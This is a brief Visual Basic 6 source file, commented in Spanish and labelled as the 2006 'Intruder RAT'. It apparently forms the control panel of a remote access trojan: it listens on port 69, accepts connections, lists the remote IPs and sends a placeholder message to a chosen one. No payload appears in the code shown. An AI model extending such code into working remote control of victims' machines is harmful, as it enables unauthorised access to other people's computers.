'PROGRAMADO POR KIZAR
'INTRUDER RAT 2006
'LIBRE DISTRIBUCION MENCIONADO AL AUTOR.

'Declaraciones
dim Selecion As Integer
dim Nue As Integer 

'Code
Private Sub Form_Load()
   Nue = 0
   Winsock_menu(0).Close 'cerramos el puerto aunke al iniciar tiene k estar cerrado.
   Winsock_menu(0).LocalPort = "69" 'ponemos el puerto a escuchar
   Winsock_menu(0).Listen 'el winsock (0) siempre esta a la    escucha y acepta las conexiones con un socket nuevo.
End Sub

Private Sub Winsock_menu_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    Nue = Nue + 1
    Load Winsock_menu(Nue) 'Creamos un nuevo winsock
    Winsock_menu(Nue).Accept requestID 'Aceptamos la conexión
    List_inver.ListItems.Add , , Winsock_menu(Nue).RemoteHostIP
End Sub

Private Sub List_inver_DblClick()
Selecion = List_inver.SelectedItem.Index 'esto nos pone en la variable selecion el socket k keremos usar para k solo se mande a uno.
Winsock_menu(Selecion).SendData "algo" 'se manda el mensaje solo a la conexion k se a selecionado.
End Sub